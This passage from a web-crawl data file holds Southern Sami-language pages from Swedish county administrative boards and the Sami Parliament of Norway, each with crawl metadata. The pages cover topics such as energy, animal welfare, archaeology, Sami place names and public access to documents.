jeahtame åådtje båeries bïjlh dåastodh. Dåastovesijjieh murhkeminie båeries bïjlide lea EU-direktijven mænngan båateme mij tjïelkestidh produsenti dïedte båeries bïjli åvteste. Dåastovesijjieh edtjieh lïeneståvrose bïjleprodusentijste bievnedh.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.lansstyrelsen.se\/stockholm\/SMA\/naringsliv-och-foreningar\/bilskrotning\/Pages\/default.aspx","date":"2014-03-08T05:47:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653416\/warc\/CC-MAIN-20140305060733-00029-ip-10-183-142-35.ec2.internal.warc.gz","language":"sma","language_score":0.99994874,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"sma_Latn_score\": 0.9999487400054932}","num_words":112,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ålkoejielede\nGuvvie: Fredrik Boberg.\nLïeneståvroe barka lïene galka ræjhkoes ålkoejielede utnedh jïh eatneme edtja gaajhkide jaksoes mïeresne.\nAlmetji lea ovmessie daarpoeh jïh tsiehkieh, jïh juktie gaajhkem edtjieh eatnemen jaksoes mïeresne mijjieh barkebe dovne maahtoeheesememe jïh eatnemem dorje jaksoes mïeresne gaajhkide. Bielieh dehtie eatnemedajvijste mah mijjieh geehtebe lea sjiehteladteme juktie aelhkies svihtjeme-heaptojne jallh maanavåågnine fealadidh, vuesiehtimmien gaavhtan rampine jïh svihtjeme-heaptoetjöödtjestimmiesijjine. Ij leah guhkies eatnamasse.\nAllemansrätten lea inhtse joekoen\nÅejvienjoelkedasse allemannrätt:sne lea \"Aellieh stuvrh – aellieh eerjh\". Lohkh jienebh allemansrätten bïjre Naturvårdsverken webbesijjesne.\nAllemansrätten aaj eatnemereservaatesne, mohte maahta gaertjiedamme ovmessie njoelkedassigujmie.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.lansstyrelsen.se\/jamtland\/SMA\/djur-och-natur\/friluftsliv\/Pages\/default.aspx","date":"2014-04-16T04:23:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609521512.15\/warc\/CC-MAIN-20140416005201-00285-ip-10-147-4-33.ec2.internal.warc.gz","language":"sma","language_score":0.9999649525,"language_script":"Latn","minhash_cluster_size":90,"top_langs":"{\"sma_Latn_score\": 0.9999649524688721}","num_words":88,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Energije\nGuvvie: Marie Birkl.\nLïeneståvre dah regijovnalen barkoeh iktede guhkiem jearsoes jïh nænnoes energijefasseldimmie. Lïenen aktöörigujmie mijjieh libie klimate- jïh energijestrategijem dorjeme mij vuesehte guktie mijjieh edtjebe barkedh gosse Sveerjen klimateulmieh jïh energijejeahtjadehtemem dåhkasjidh.\nOrrestimmie energijegaaltijh goh bïegkefaamoe, biejjie-energije jïh bioenergije lea vihkeles sïlle guhkiem nænnoes sïebredahkese. Mohte jis energijejeatjahdehtemem dåhkasjibie mijjieh aaj daarpesjibie energijem jienebe effektijveles nuhtjebe goh daenbiejjien, gaskem jeatjabem gosse giesiehtimmide, biktemidie jïh jåaskomidie, tjoevkide jïh industrijeprosesside. Dïhte daarpesje dovne orre teknihke jïh jeatjahligke dåemiedidh. Lïeneståvroe ovemssie prosjekth jåhta nænnoes evtiedimmiem eevtjie jïh soejkesjimmievåaroemem dorje vuesiehtimmien gaavhtan tjïelti energijesoejkesjidie dåårje.\nByjreseluhpie jïh vaaksjome\nLïeneståvroe byjresepryövemedelegasjovne sjæjsjale luhpien bïjre stoerre energijebigkemidie goh bïegkefaamoeparkh jïh maajhbiktemeverke. Delegasjovne aaj sjæjsjale dah darjomen tsiehkieh. Gosse galka faamoe- jïh gasegïrsh dellie mijjieh gyhtjelassh healsoe jïh vihtiesvoeten bïjre vaaksjobe jïh aaj guktie eah eatneme- jïh kultuvrevierhtieh leajmodh. Sæjhtoe jïh guktie maahta energijen spååredh lea vihkeles aspekth, dovne gosse mijjieh luhpiedibie ovmessie darjomidie jïh vuartasjibie byjreselaaken mietie gïetedieh. Tjïelh aaj vaaksjoeh.\nEnergijedåarjoe\nDïhte ovmessie såarhth staaten dåarjoeh gååvnese energije-effektijveseremasse jïh orrestimmie energijese målsodh jïh lïeneståvroe dejtie sjæjsjele. Dåarjoe laantebårran jïh jeatjah giehteldimmide maahta gaskem jeatjabem dejtie dijpeh gieh sijhtieh energijesjædtoeh sjïdtedehtedh jallh naan energijerelatereme tseegkesovvemh darjodh.\nJieleme-evtiedimmie\nLïeneståvroe evtiedimmiem byjresegiemhpes jïh effektijveles teknihkem jieleme-jieledisnie dåårje, jïh mijjieh jienebe produksjovne orrestimmie energijem dåarjobe. Göökte haestemh leah sïelth skreejredh affæreevtiedimmiem byjresegyhtjelassijste jïh byjresekrööhkestimmieh nuhtjedh vuekine sov gaahtjemefaamoem nænnoestidh.\nSïebredahkesoejkesjimmie\nNænnoes sïebredahkesoejkesjimmie lea vihkeles guktie mijjieh guhkiem galkebe klimate- jïh energijeulmide jaksedh. Lïeneståvroe maahta vuesiehtidh guktie energije- jïh klimataspekth maehtieh vuesiehtimmien gaavhtan regionalen giesiehtimmiesoejkesjimmesne jïh tjïelti fysijhken soejkesjimmesne buektedh.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.lansstyrelsen.se\/jamtland\/SMA\/samhallsplanering-och-kulturmiljo\/energi\/Pages\/default.aspx","date":"2014-09-03T07:11:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1409535925433.20\/warc\/CC-MAIN-20140901014525-00163-ip-10-180-136-8.ec2.internal.warc.gz","language":"sma","language_score":0.9999886751,"language_script":"Latn","minhash_cluster_size":87,"top_langs":"{\"sma_Latn_score\": 0.9999886751174927}","num_words":252,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åålmeh-healsoe\nLeeneståvroen laavenjasse lea tsiehkieh sïebredahkesne skaepedh juktie åålmege maahta seammavyörtegs tsiehkine hijven healsoem åadtjodh.\nÅålmeh-healsoe lea gaajhkem, almetji jïjtse veeljemh jïh vuekieh jïh ålkolde byjresh jïh demokratijen reaktah gaskem, sïebredahkesne. Mijjieh joekoen barkebe åålmeh-healsoesuerkijgujmie goh seammavyörtege, integrasjovne, byjrese, gåetiesoejkesjimmie, sosijalen tsiehkieh, antidiskriminereme jïh aaj alkohole- jïh drogeligke gyhtjelassh.\nAlkohole, narkotihka, drogh jïh dågka\nLeeneståvroen sjïere dïedte åvtelhbodti barkoem alkoholen, narkotihkan, drogi jïh dågkan vööste ektiedidh jïh evtiedidh (ANDT) leenesne. Dam darjobe ovmessie ektiedimmie barkoejgujmie regijovnalen daltesinie, ööhpehtimmiem tjïrrh jïh dåarjoe tjïeltide jïh vaaksjomen tjïrrh mijjieh gïehtjedibie tjïelth vuesiehtimmien gaavhtan aaltereraastah, hoksemeluhpieh jïh rïevkemenihtemh byjjes lokaline vaaksjobe.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.lansstyrelsen.se\/dalarna\/SMA\/manniska-och-samhalle\/folkhalsa\/Pages\/default.aspx","date":"2014-08-22T09:49:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500823528.84\/warc\/CC-MAIN-20140820021343-00140-ip-10-180-136-8.ec2.internal.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":43,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":97,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien sijjienommh\nSijjienommelaake faamoem åtna abpe saemien gïeledajvesne. Sijjienommelaake edtja saemien sijjienommh gorredidh nasjovnaale laaki mietie, jïh gaskenasjovnaale latjkoej jïh konvensjovni mietie. Akte krïevenasse lea reaktoe tjaelemevuekiem jïh saemien væhtah nåhtadidh.\n- Laaken mietie dle saemien nomme edtja iktegisth voestegh tjåadtjodh sjiltine saemien reeremedajvesne. Mieriedimmesne dle aaj raeriestamme tjïelte maahta veeljedh dam saemien nommem voestegh utnedh sjiltine aaj aktene dajvesne mij ij leah meatan saemien reeremedajveste.\n- Saemien sijjienommh mah almetjijstie åtnasuvvieh mah sijjesne iktegisth årroeh, jallh jielemen gaavhtan sïejhme ektiedimmiem sæjjanutnieh, edtjieh byögkelesvoeteste åtnasovvedh sjiltine, kaarhtine jnv. (§ 9).\nNommekonsulentedïenesje:\nSijjienommelaake § 11 Saemiedægkan faamoem vadta konsulenth nammoehtidh saemien sijjienommide.\nNommekonsulentedïenesje tseegkesovvi jaepien 1991 gosse sijjienommelaake faamoem åadtjoeji Nöörjesne. Jienebh nommekonsulentedïenesjh tseegkesovvin, gaskem jeatjah saemien jïh såevmien nommide.\nDah nommekonsulenth dam faageles dïedtem utnieh tjaelemevuekiej bïjre raeriestidh, mejtie edtja byögkeles ektiedimmesne nåhtadidh.\nSijjienommelaakesne dle saemien dajve Nöörjesne golme gïeledajvine juakasovveme, guktie åarjelsaemien dajvesne dle sijjienommide normerede åarjelsaemien tjaelemevuekien mietie, julevsaemien dajvesne julevsaemien tjaelemevuekien mietie, jïh noerhtesaemien dajvesne noerhtesaemien tjaelemevuekien mietie.\nNoerhtesaemien: Jonny Inge Nutti\nJulevsaemien: Kåre Tjïhkkom\nÅarjelsaemien: Ole Henrik Magga\nAamhtesgïetedimmie saemien sijjienommi bïjre:\n- Naaken aktem nommeaamhtesem bæjjese vaalta laaken mietie sijjienommi bïjre. § 5 voestes lïhtse jeahta gie maahta aktem nommeaamhtesem bæjjese vaeltedh. Aamhtese seedtesåvva\n- Nænnoestimmieåårganese. (§ 5 mubpie jïh gåalmede lïhtse laakesne jeahta mij lea nænnoestimmieåårgane mah nommide). Nænnoestimmieåårgane aamhtesem soejkesje gaajhki gaavnoes bïevnesigujmie. Aamhtese seedtesåvva\n- Govlehtæmman, gusnie govlehtimmiemierie lea göökte askh. Tjïelte hokse gaajhkesh mah govlehtimmiereaktam utnieh åadtjoeh lahtestimmine båetedh, jïh dam seedtie\n- saemien nommekonsulentedïenesjasse mij tjaelemevuekien bïjre raereste. Nommekonsulentedïenesje göökte askh åtna åvtelen aamhtesem seedtie\n- nænnoestimmieåårganese, mij nænnoestimmiem dorje. Nænnoestimmie tjïeltese seedtesåvva, mij nænnoestimmiem bæjhkohte dej njoelkedassi mietie § 6 laakesne (gusnie beavna laejhtemenuepien bïjre § 10 mietie). Nænnoestimmie aaj Saemien nommekonsulentedïenesjasse seedtesåvva, jeatjah byögkeles åårganidie mah edtjieh nommem nåhtadidh dïenesjisnie, jïh diekie\n- Sentralt stedsnavnregister (SSR) Statens kartverken regijovnekontovrese.\nSaemien sijjienommh nedtesne\nStatens Kartverk orre dïenesjh nedtesne evtiedeminie, jïh daelie maahta saemien sijjienommi mietie syökedh.\nNorgesglasset akte Nöörjen kaarhte gusnie gåarede ohtsedh. Dïhte dutnjien nuepiem vadta kaarhtine svihtjedh, adressi mietie syökedh, koordinatsett transformeradidh jïh zoomadidh åvtese jïh bååstede sjyöhtehke sijjine. Datne maahtah ohtsedh vielie goh 450 000 sijjienommh jïh medtie 23 000 saemien sijjienommh Nöörjesne, jïh seamma tïjjen nommem reaktoe sijjesne åadtjodh kaarhtesne. Vijriesåbpoe maahtah gaata-adressh ohtsedh Nöörjesne guktie dah våajnoes sjidtieh aktene kaarhtebielesne.\nDïhte orre Norgesglasset jïh kaarhte skuvlesne lea beta-versjovnh, dïhte sæjhta jiehtedh dah leah evtiedimmesne, jïh dannasinie maahta dejtie jarkelidh jïh orre funksjovnh dejtie bïejedh, bielelen dan bïjre bïeljelidh.\nSaemiedigkien ulmie lea saemien gïelem nænnoestehtedh guktie gïele akte iemie bielie dehtie nöörjen byögkelesvoeteste sjædta.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.saemiedigkie.no\/Giele\/Saemien-sijjienommh","date":"2014-08-21T04:19:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500814701.13\/warc\/CC-MAIN-20140820021334-00442-ip-10-180-136-8.ec2.internal.warc.gz","language":"sma","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000035762786865}","num_words":394,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen laavenjasse\nLïeneståvroen laavenjasse lea evtiedimmien barkedh gusnie byjrese, sjædtoeh jïh hijven jielemetsiehkieh siemedieh. Ulmie lea raajnes jielemebyjrese, nænnoes barkoemaarhna jïh aaj hijven jieleme årrojidie. Ånehks jeahteme mijjieh barkebe nænnoes evtiedimmine lïenesne.\nLïeneståvroen dïedte rïjhkebiejjeste jïh reerenasseste mieriedimmieh lïenesne tjïrretieh, jïh mijjieh iktedibie staaten barkoem. Lïenen evtiedimmie edtjebe dovne aktegs almetjen jïh sïebredahken ïedtjh vaarjelidh jïh barkedh.\nMijjieh libie maahtoeorganisasjovne mij dåeresthsektoriellen barkedh jïjnjh ovmessie aamhtesegyhtjelassigujmie. Mijjen maahtoesuerkieh leah ovmessie sïebredahkegyhtjelassh dijpieh ovmessie vuekine, voeneevtiedimmeste jïh biologijen gellielaaketje integrasjovnegyhtjelasside jïh kultuvrebyjresem vaarjelidh.\nLïeneståvroeinsturksjovnen (SFS 2007:825) mietie edtjebe gaskem jeatjabem dejnie barkedh\n- beapmoehvaaksjome, juvrevaarjelimmie jïh åålmegi veterinæreles gyhtjelassh\n- regionalen sjædtoe\n- infrastruktuvresoejkesjimmie\n- nænnoes sïebredahkesoejkesjimmieh jïh årrojh\n- energije jïh klimate\n- kultuvrebyjrese\n- ovlæhkoej vööste jïh aaj krijsevuartoe jïh sivilen dåastoelimmie\n- eatnemegeehteme jïh aaj byjrese- jïh healsoevaarjelimmie\n- laanteburrie jïh voene\n- gööleme\n- seammavyörtegs\n- integrasjovne","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.lansstyrelsen.se\/jamtland\/SMA\/om-lansstyrelsen\/vart-uppdrag\/Pages\/default.aspx","date":"2014-08-22T21:38:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500824562.83\/warc\/CC-MAIN-20140820021344-00209-ip-10-180-136-8.ec2.internal.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":44,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":127,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kultuvrereservaate\nLïeneståvroeh jïh tjïelth maehtieh miljöbalken (SFS1998:808) mietie sjæjsjalidh joekoen vierhtegs kultuvreeatnemidie gelkieh goh kulturreservaatine vaarjelidh.\nÅssjele reservaatebïhkedimmiejgujmie lea maahta vierhtegs kultuvresjeedtemh eatneminie geehtedh jïh gorredidh. Gosse lïeneståvroe kultuvrereservaatem sjæjsjele mijjieh libie aaj reeredh jïh mijjen dïedte lea dah vierhtieh geehtedh.\nKultuvrereservaate maahta gaajhkem årrodh karaktæredïeves jåartaburriedajveste kultuvrehistovrijeles iedtjeles industrijebyjresasse – dajvh mah ovmessie vuekine dovletjen eatname- jïh vierhtieåtnoste sjeedtin. Kultuvrereservaath leah iktedamme dajvh gusnie eatnemh, bigkemh, gïejh jïh eatnemh, mohte aaj dah vierhtieh mej leah darjomh, maahtoeh jïh tradisjovnh.\nMïeredimmesne vaarjelimmien åssjelem sjæjsjale jïh mah njoelkedassh mah reservaatesne reerieh. Fïerhten sjæjsjalimmen sïsvegen lea aaj geehtemesoejkesje gusnie dah ulmieh buerkeste jïh aaj mah tjuara darjodh jis ulmide galka jaksedh. Maahta aaj geehtemesoejkesjisnie ulmieh reservaaten evtiedimmien, darjomi jïh guessiehdarjomi bïjre. Dah ulmieh daamhtaj vuartasjidh jïh værjasjidh.","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/www.lansstyrelsen.se\/vasterbotten\/SMA\/samhallsplanering-och-kulturmiljo\/kulturreservat\/Pages\/default.aspx","date":"2014-09-22T20:17:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1410657137190.70\/warc\/CC-MAIN-20140914011217-00219-ip-10-234-18-248.ec2.internal.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":84,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":124,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juvreskryjjeme\nGuvvie: Jonas Salmonsson\nLïeneståvroe barka jïjnjh gyhtjelassigujmie juvreskryjjemen bïjre. Mijjieh vaaksjobe primæreproduksjovnem jïh juvrestaellieh krievemh buerie juvrebyjrese dievhtieh. Mijjieh luhpiem vadtebe ovmessie darjomidie juvrigujmie.\nJuvrh voenesne beapmoehprodusjovnese lissiehtieh mohte aaj nuepiem vadta motsjovnese jïh rekreasjovnese. Juvrh aaj gåaetoeh jïh biologijen gellielaaketjasse evtiedieh jïh tjaebpies byjresasse. Juvreskryjjeme daennie vuekesne barkoesijjieh skaepede dovne staaresne jïh voenesne, ovmessie suerkine goh jåartaburrie, beapmoehindustrije jïh turisme.\nÅvtelpryövome juvrestaellijste\nDjurskyddslagen jeahta guktie juvrestaellie galka vååjnedh. Mijjieh tjaeliestimmieh ovmessie staelliebigkemijste gïehtedibie åvteli dejtie bigkedh juktie vaaksjobe dah leah djurskyddslagen krievemi mietie.\nPrimæreproduksjovne bårremem jïh beapmoeh\nJuktie juvrh, jïh minngemes aaj mijjieh almetjh, edtjieh hijven jieledh lea vihkeles bårremem juvride vihties vuekine darjodh, gïetedidh, våarhkodh, seedtedh jïh utnedh. Dïhte guktie gohtje primæreproduksjovne lea voestes lïhtse beapmoehværjesne. Vuesiehtimmieh primærproduksjovne lea muerjieh jïh kruanasaath sjïdtehtehtedh jïh tjöönghkedh, goernh jïh kruepiesbårremh, juvrh eeledh jïh buhtjedh. Primæreproduksjovnem vååksje jïjnjh lïhtsine lïeneståvroste jïh Jordbruksverke:ste. Gaajhkh tseegkeldahkh gusnie primæreprodusjovne gelkieh tjaalasovvedh, jïh njoelkedassh gååvnesieh mah daalhkesh, genmodifieringh jïh jienebe mah dåhkasjehteme.\nLuhpie ovmessie darjomidie juvrigujmie\nJis låhkoem juvreektievoeth produksjovnesijjesne lea jienebe goh 100 galka dam tjïeltese bievnedh. Juvreektievoeth 400 jallh jienebe juvreektievoetigujmie luhpiem lïeneståvroste daarpesjieh. Juvreektievoeteh ryöknie förordningen (1998:899) om miljöfarlig verksamhet och hälsoskydden mietie.\nMijjieh luhpiem vedtebe jeatjah darjomidie juvrigujmie vuesiehtimmien gaavhtan bïenjegïerth jïh rijremeskuvlh.","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.lansstyrelsen.se\/vasternorrland\/SMA\/lantbruk-och-landsbygd\/djurhallning\/Pages\/default.aspx","date":"2014-10-25T22:59:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1414119651018.25\/warc\/CC-MAIN-20141024030051-00000-ip-10-16-133-185.ec2.internal.warc.gz","language":"sma","language_score":0.9999879599,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"sma_Latn_score\": 0.9999879598617554}","num_words":200,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sïelthdåarjoe\nFïerhten jaepien lïeneståvroe åådtje beetnegh reeremistie mah edtja ovmessie sïelthdåarjojde nåhtadidh. Dåarjoe galka lïenen sïeltide viehkiehtidh guktie guhkiem dïenesjimmiem jïh sjïdtedimmiem åadtjoeh.\nDåarjoen stuaradahke jïh ulmieh ij leah seammalaakan gaajhkh lïenine jïh tïjjen mietie, ovmessie vierhtieh jïh sjïere barkoeh mestie reerenasse lea lïenide vadteme. Mijjieh maehtebe, goh bieliem ulmijste regionalen sjïdtedimmide, dåarjoem vedtedh dåarjoehtæmman, maarhnajfoeresjæmman, innovasjovne-evtiedæmman jïh ööhpehtæmman onne jïh stuerebe sïeltine. Aaj gååvnese sjïere dåarjoe kommersiellen hoksetæmman voenesne, vuesiehtimmien gaavhtan åesies-bovrh jïh bensijnestasjovnh.","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.lansstyrelsen.se\/stockholm\/SMA\/naringsliv-och-foreningar\/foretagsstod\/Pages\/default.aspx","date":"2014-10-23T03:53:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1413507449999.25\/warc\/CC-MAIN-20141017005729-00084-ip-10-16-133-185.ec2.internal.warc.gz","language":"sma","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":43,"top_langs":"{\"sma_Latn_score\": 1.0000030994415283}","num_words":75,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Arkeologije jïh dovletje-laehpemh\nDovletje-laehpemh leah gïejh almetji båeries darjoejstie jïh leah kultuvremojhteshlaaken mietie vaarjelidh (SFS 1988:950). Laaken mietie lea nihteme dovletje-laehpemidie jeatjahdehtedh, destie vaeltedh, leajmoedidh jallh gaptjedh, mohte såemies aejkien lïeneståvroe maahta luhpiedidh dovletje-laehpemem doehtedh.\nLïeneståvroe lea vaaksjomereereme lïenen dovletje-laehpemidie. Barkoe lea dovletje-laehpemebyjresidie vaarjelidh, geehtedh, dej bïjre bïevnedh jïh aelkebe darjodh dejtie vuejnedh, juktie dovne daenbiejjien jïh båetije boelvh maehtieh guarkedh jïh histovrijem kultuvreaerpiem dååjresidh. Mijjieh aaj syökemh pryövebe jïh luhpiedibie jeatjahmidie dovletje-laehpemedajvesne.\nMij lea dovletje-laehpeme?\nDovletje-laehpemh leah gïejh almetji laehpeme darjoejstie. Dïhte lea vuesiehtimmien gaavhtan årromesijjieh, kraavedajvh, ruinerh jïh kultuvre-gïerts medeltïjjen staarine. Laake ij jeahta man båeries dovletje-laehpeme tjuara årrodh åvteli dovletje-laehpeme sjædta, mohte skïhpe lea dovletje-laehpeme 100 jaepiej mænngan dïhte våajoeji.\nDovletje-laehpemi laakevaarjelimmie\nDovletje-laehpemi lea automateles kultuvremojhtesh laaken mietie vaarjelidh. Dïhte lea orresth aajhtseme dovletji-laehpemen lea dallatjinie vaarjelimmie, ij daarpesjh reeremen sjæjsjalimmiem dan bïjre. Laakevaarjelimmie aaj dæjpa eatnemem dovletje-laehpemen bïjre, jïh dajven stuaradahke lea dovletje-laehpemen guarkoem jïh karakterem jearohks. Årrome-sijjien lea vuesiehtimmien gaavhtan stuerebe vaarjelimmiedajve goh mïjlegierkie geajnoeraedtesne.\nArkeologijen goerehtimmieh\nJis datne barkoem soejkesjh mij maahta fornlämning stuvredh jallh eerjedh, vuesiehtimmie gosse kabelem krogkesjidh jallh orre gåetiem bigkedh lïeneståvroe maahta krievedh datne goh eksploatööre edtjh arkelogijen goerehtimmieh maeksedh. Goerehtimmieresultate lea våarome jis mijjieh luhpiedibie jïh lea dokumantasjovne goerehtimmeste jïh fornlämning jïh dan gaavneminie. Åvteli stuerebe barkoe, vuesiehtimmien gaavhtan orre geajnoem bigkedh dellie mijjieh maehtebe krievedh eksploatööre goerehtimmiem maaksa vuartesje jis aerebi ovnohkens fornlämning maehtieh dijpedh.","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.lansstyrelsen.se\/vasterbotten\/SMA\/samhallsplanering-och-kulturmiljo\/arkeologi-och-fornlamningar\/Pages\/default.aspx","date":"2014-10-24T21:23:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1414119646519.4\/warc\/CC-MAIN-20141024030046-00192-ip-10-16-133-185.ec2.internal.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":84,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":225,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laanteburrie jïh laantevoene\nGuvvie: Marie Birkl.\nLïeneståvroe barka guktie EU:n jïh Sveerjen jåartaburriepolitihke jïh laantevoenepolithke jïh dan lissine Laantevoeneprogremme åadtjoeh regionalen daltesasse tjïrrehtidh. Dïhte lea laanteburrie edtja gahtjemefaamoes jïh guhkiem nænnoes sjïdtedh jïh seammasïente goh dïhte ekologijen laanteburrie jienede jïh eatneme- jïh kultuvredajvh gorredidh. Jielije laantevoene lea aaj galka gååvnesidh alternatijveles barkoem, hijven hoksem jïh burie årroesijjieh.","id":"","dump":"CC-MAIN-2014-49","url":"http:\/\/www.lansstyrelsen.se\/jamtland\/SMA\/lantbruk-och-landsbygd\/Pages\/default.aspx","date":"2014-11-27T13:07:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-49\/segments\/1416931008520.8\/warc\/CC-MAIN-20141125155648-00200-ip-10-235-23-156.ec2.internal.warc.gz","language":"sma","language_score":0.9999865294,"language_script":"Latn","minhash_cluster_size":45,"top_langs":"{\"sma_Latn_score\": 0.9999865293502808}","num_words":57,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Motovretrafihke eatnamisnie\nLïeneståvroe reerie jïh dåerede bïevlenvuajeme eatnamisnie jïh trafihkem skuvterinie jallh tjaetsieskuvterinie. Åssjelmes lea ij motovretrafihke edtjh eatnemem, sjædtoeh, ålkoejielemem, juvrejielemem, båatsoem, jåartaburriem jallh skåajjeburriem stuvredh jallh leajmoedidh.\nDah njoelkedassh eatnemem vaarjelidh\nBïevlen eatnemevuajeme lea nihteme abpe Sveerjesne, jïh skuvterem åådtje ajve vuejedh lopmesne gusnie ij eatnemem jallh sjædtoeh leajmodh. Naan dajvine, bijjene vaeresne, lea skuvteretrafihkem reglereme skuvterenihtemen tjïrrh skuvterebaalki baalte. Lïeneståvre maahta mieriedidh jis åadtjoeh bïevlen vuejedh jallh skuvterinie vuejedh.\nDatne åadtjoeh barre tjaetsieskuvterem vuejedh dajvine mah leah lïeneståvroste dåhkasjehteme. Jis ih njoelkedasside dåeriedidh maahtah böötide dööpmedh.","id":"","dump":"CC-MAIN-2014-52","url":"http:\/\/www.lansstyrelsen.se\/stockholm\/SMA\/djur-och-natur\/motortrafik-i-naturen\/Pages\/default.aspx","date":"2014-12-19T21:00:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-52\/segments\/1418802768957.83\/warc\/CC-MAIN-20141217075248-00164-ip-10-231-17-201.ec2.internal.warc.gz","language":"sma","language_score":0.9999953508,"language_script":"Latn","minhash_cluster_size":43,"top_langs":"{\"sma_Latn_score\": 0.9999953508377075}","num_words":89,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Diarijume\nAktem vihkelommes aamhtesijste demokratijen sïebredahkesne lea byjjesprinsihpe. Dïhte lea åajvaladtji barkoem gohkeldahkesne edtja dan riphes hammoem utnedh. Akte vuesiehtimmie byjjes prinsihpeste lea prinsihpe tjaatsegebyjjesvoete. Tjaatsegebyjjesvoete fïertene almetjasse reaktam vadta byjjes tjaatsegh vuejnedh jïh daamhtaj ih daarpesjh jeahtah mannasinie jïh gïe datne leah.\nByjjes tjaatsegi byjjesvoete\nPrinsihpesne gaajhki leah, sveerjen årrojh jïh jeatjah, reakta tjaatsegidie lohkedh mah leah Leeneståvrosne.\nDam reaktam göökte vuekiejgujmie gaertjede:\n- Voestes åålmegen reakta lea dagkerh tjaatsegh lohkedh maam byjjes tjaatsegidie gåhtjoedibie. Eah gaajhkh tjaatsegh leah byjjes tjaatsegh, vuesiehtimmien gaavhtan evtelasse mieredæmman, tjaalege jallh seammalaakan ieresne mij ij leah byjjes tjaatsege, jis ij dam våarhkosne gosse ierem orrijidh.\n- Mubpie jis bieliem byjjes tjaatsegijste lea tjeakoes. 